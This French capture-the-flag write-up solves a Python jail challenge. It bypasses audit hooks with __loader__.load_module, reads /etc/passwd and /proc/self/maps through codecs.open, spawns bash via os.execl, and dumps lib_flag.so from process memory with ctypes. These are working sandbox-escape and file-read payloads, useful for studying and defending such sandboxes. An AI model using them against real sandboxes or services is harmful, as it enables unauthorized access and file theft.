Votre but est d'appeler la fonction print_flag pour afficher le flag.
Service : nc challenges1.france-cybersecurity-challenge.fr 4005
Solution
On se connecte au service et on est accueilli avec ce qui a tout l'air d'être un shell Python :
$ nc challenges1.france-cybersecurity-challenge.fr 4005
Arriverez-vous à appeler la fonction print_flag ?
Python 3.8.2 (default, Apr 1 2020, 15:52:55)
[GCC 9.3.0] on linux
>>> print_flag
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
NameError: name 'print_flag' is not defined
A partir de ce moment, je me dis que c'est une Python jail classique et j'essaie un peu tous les payloads usuels. L'importation semble être autorisée, mais sur un nombre restreint de modules :
>>> import binascii
Exception ignored in audit hook:
Exception: Action interdite
Exception: Module non autorisé
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
Exception: Action interdite
En farfouillant un peu toutefois à l'aide de dir(), on arrive à importer les modules builtins que l'on veut :
>>> L = __loader__.load_module
>>> L('binascii')
<module 'binascii' (built-in)>
La fonction open existe, mais on dirait que d'un hook empêche de l'utiliser :
>>> open('a')
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
Exception: Action interdite
Cependant, toujours en tatonnant, on trouve une fonction open dans le module codecs qui fonctionne. Génial.
>>> open = L('codecs').open
>>> open('/etc/passwd', 'r').read()
'root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\nlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\nmail:x:8:8:mail:/var/mail:/usr/sbin/nologin\nnews:x:9:9:news:/var/spool/news:/usr/sbin/nologin\nuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\nproxy:x:13:13:proxy:/bin:/usr/sbin/nologin\nwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\nbackup:x:34:34:backup:/var/backups:/usr/sbin/nologin\nlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin\nirc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin\ngnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin\nnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\n_apt:x:100:65534::/nonexistent:/bin/false\nctf-init:x:1000:1000::/home/ctf-init:\nctf:x:1001:1001::/home/ctf:\n'
On peut maintenant lire des fichiers arbitraires sur le serveur... on essaie quelques noms du style server.py ou chall.py, mais rien de probant. Essayons de lire /proc/self/maps :
Fantastique : il semblerait que le serveur soit en fait lancé par un binaire nommé /app/spython, et on remarque aussi l'existence d'un fichier très intéressant nommé /app/lib_flag.so. Probablement la fonction print_flag tant recherchée se trouve à l'intérieur !
On dump le binaire spython, par exemple en l'encodant en hexadécimal et en le rapatriant sur sa machine à l'aide d'un habile copier-coller :
On l'analyse avec Ghidra. Le binaire utilise l'API CPython et semble utiliser une mécanique de hooks pour bloquer certaines opérations, mais je ne connais pas le fonctionnement plus en détail et je n'ai pas réussi à comprendre exactement tout le fonctionnement du binaire. Heureusement ce n'est pas très important pour réussir l'épreuve.
On remarque la fonction welcome qui affiche le message du début : ce symbole n'existe pas dans le binaire, il provient certainement de la fameuse lib_flag.so.
Essayons d'ailleurs de lire ce fichier :
>>> open('lib_flag.so', 'rb')
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "/usr/lib/python3.8/codecs.py", line 905, in open
file = builtins.open(filename, mode, buffering)
PermissionError: [Errno 13] Permission denied: 'lib_flag.so'
Mince... A ce moment-là je me suis dit que j'allais continuer à traiter l'épreuve comme une jail classique, et j'ai trouvé le moyen d'importer os et d'obtenir un shell. Spoiler alert, ce shell ne sert à rien pour la résolution.
>>> sys = L('sys')
>>> os = sys.meta_path[2].find_module('os').load_module('os')
>>> shell = lambda: os.execl('/bin/bash','/bin/bash')
>>> shell()
bash: cannot set terminal process group (15810): Inappropriate ioctl for device
bash: no job control in this shell
ctf@whynotasandbox:/app$ ls -la
total 40
drwxr-xr-x 1 root root 4096 Apr 25 20:58 .
drwxr-xr-x 1 root root 4096 Apr 25 20:59 ..
-r-------- 1 ctf-init ctf 16064 Apr 25 20:58 lib_flag.so
-r-sr-x--- 1 ctf-init ctf 14904 Apr 25 20:58 spython
Voici donc la source de tous nos problèmes : seul ctf-init peut lire lib_flag.so.
Cette deuxième partie de l'épreuve fut la plus difficile. Il faudrait soit trouver un moyen d'appeler print_flag depuis le shell Python, soit trouver un moyen de lire directement le contenu de lib_flag.so.
Après beaucoup d'essais infructueux, la solution m'est finalement apparue en m'inspirant de la toute fin de ce writeup : https://germano.dev/fuckpyjails/
Avec le module ctypes, on peut aller fouiller la mémoire du processus. En plus, on a le mapping mémoire grâce à /proc/self/maps, et en particulier les adresses des pages de là où est chargée libc_flag.so : c'est gagné.
Écrivons maintenant une fonction très utile qui nous permettra de dump la mémoire sur un nombre d'octets donné :
mem = lambda addr, sz: b''.join(cast(addr+i, POINTER(c_char)).contents for i in range(sz))
Je passe les détails du dump des pages associées à lib_flag.so, toutes les adresses sont données, j'encode en hexa le total et je rapatrie sur ma machine.
On obtient un ELF mais il semble corrompu. En l'examinant, j'ai l'impression qu'une page (4096 octets) a été dupliquée pour une raison que je ne connais pas. En l'enlevant, ça fonctionne, et on fait chauffer Ghidra :
Un petit coup de CyberChef et c'est plié.
Une épreuve très fun qui m'aura appris un tas de choses, fait lire beaucoup de doc, et qui avec du recul n'est pas si tirée par les cheveux. J'adore !